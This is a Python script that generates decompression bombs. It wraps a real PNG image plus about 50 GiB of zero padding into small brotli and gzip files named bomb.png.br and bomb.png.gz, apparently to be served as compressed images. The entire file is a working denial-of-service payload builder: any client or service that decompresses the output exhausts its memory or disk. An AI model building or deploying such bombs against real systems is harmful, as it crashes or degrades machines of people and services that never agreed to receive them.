import os
import sys
import zlib

import brotli

DECOMPRESSED_SIZE = 50 * 1024 * 1024 * 1024
RANDOM_BYTES = 1024 * 1024
BROTLI_QUALITY = 5
GZIP_LEVEL = 6

_HERE = os.path.dirname(os.path.abspath(__file__))
PNG_PATH = os.path.join(_HERE, "image.png")
BR_PATH = os.path.join(_HERE, "bomb.png.br")
GZIP_PATH = os.path.join(_HERE, "bomb.png.gz")


def _load_real_png() -> bytes:
    with open(PNG_PATH, "rb") as f:
        data = f.read()
    assert data[:8] == b"\x89PNG\r\n\x1a\n", f"{PNG_PATH} is not a valid PNG"
    return data


def _build_brotli(png_bytes: bytes) -> bytes:
    c = brotli.Compressor(quality=BROTLI_QUALITY)
    out = bytearray()
    out += c.process(png_bytes)
    out += c.process(os.urandom(RANDOM_BYTES))

    remaining = DECOMPRESSED_SIZE - len(png_bytes) - RANDOM_BYTES
    block = b"\x00" * (16 * 1024 * 1024)
    while remaining > 0:
        n = min(len(block), remaining)
        out += c.process(block[:n])
        remaining -= n

    out += c.finish()
    return bytes(out)


def _build_gzip(png_bytes: bytes) -> bytes:
    co = zlib.compressobj(GZIP_LEVEL, zlib.DEFLATED, 16 + zlib.MAX_WBITS)
    out = bytearray()
    out += co.compress(png_bytes)
    out += co.compress(os.urandom(RANDOM_BYTES))

    remaining = DECOMPRESSED_SIZE - len(png_bytes) - RANDOM_BYTES
    block = b"\x00" * (16 * 1024 * 1024)
    while remaining > 0:
        n = min(len(block), remaining)
        out += co.compress(block[:n])
        remaining -= n

    out += co.flush()
    return bytes(out)


def _write_bomb(path: str, builder, png_bytes: bytes, rebuild: bool) -> None:
    name = os.path.basename(path)
    if os.path.exists(path) and not rebuild:
        print(f"{name} already exists; pass --rebuild to overwrite.")
        return
    data = builder(png_bytes)
    with open(path, "wb") as f:
        f.write(data)
    print(f"wrote {name} ({len(data):,} bytes)")


def main() -> None:
    rebuild = "--rebuild" in sys.argv
    png_bytes = _load_real_png()
    _write_bomb(BR_PATH, _build_brotli, png_bytes, rebuild)
    _write_bomb(GZIP_PATH, _build_gzip, png_bytes, rebuild)


if __name__ == "__main__":
    main()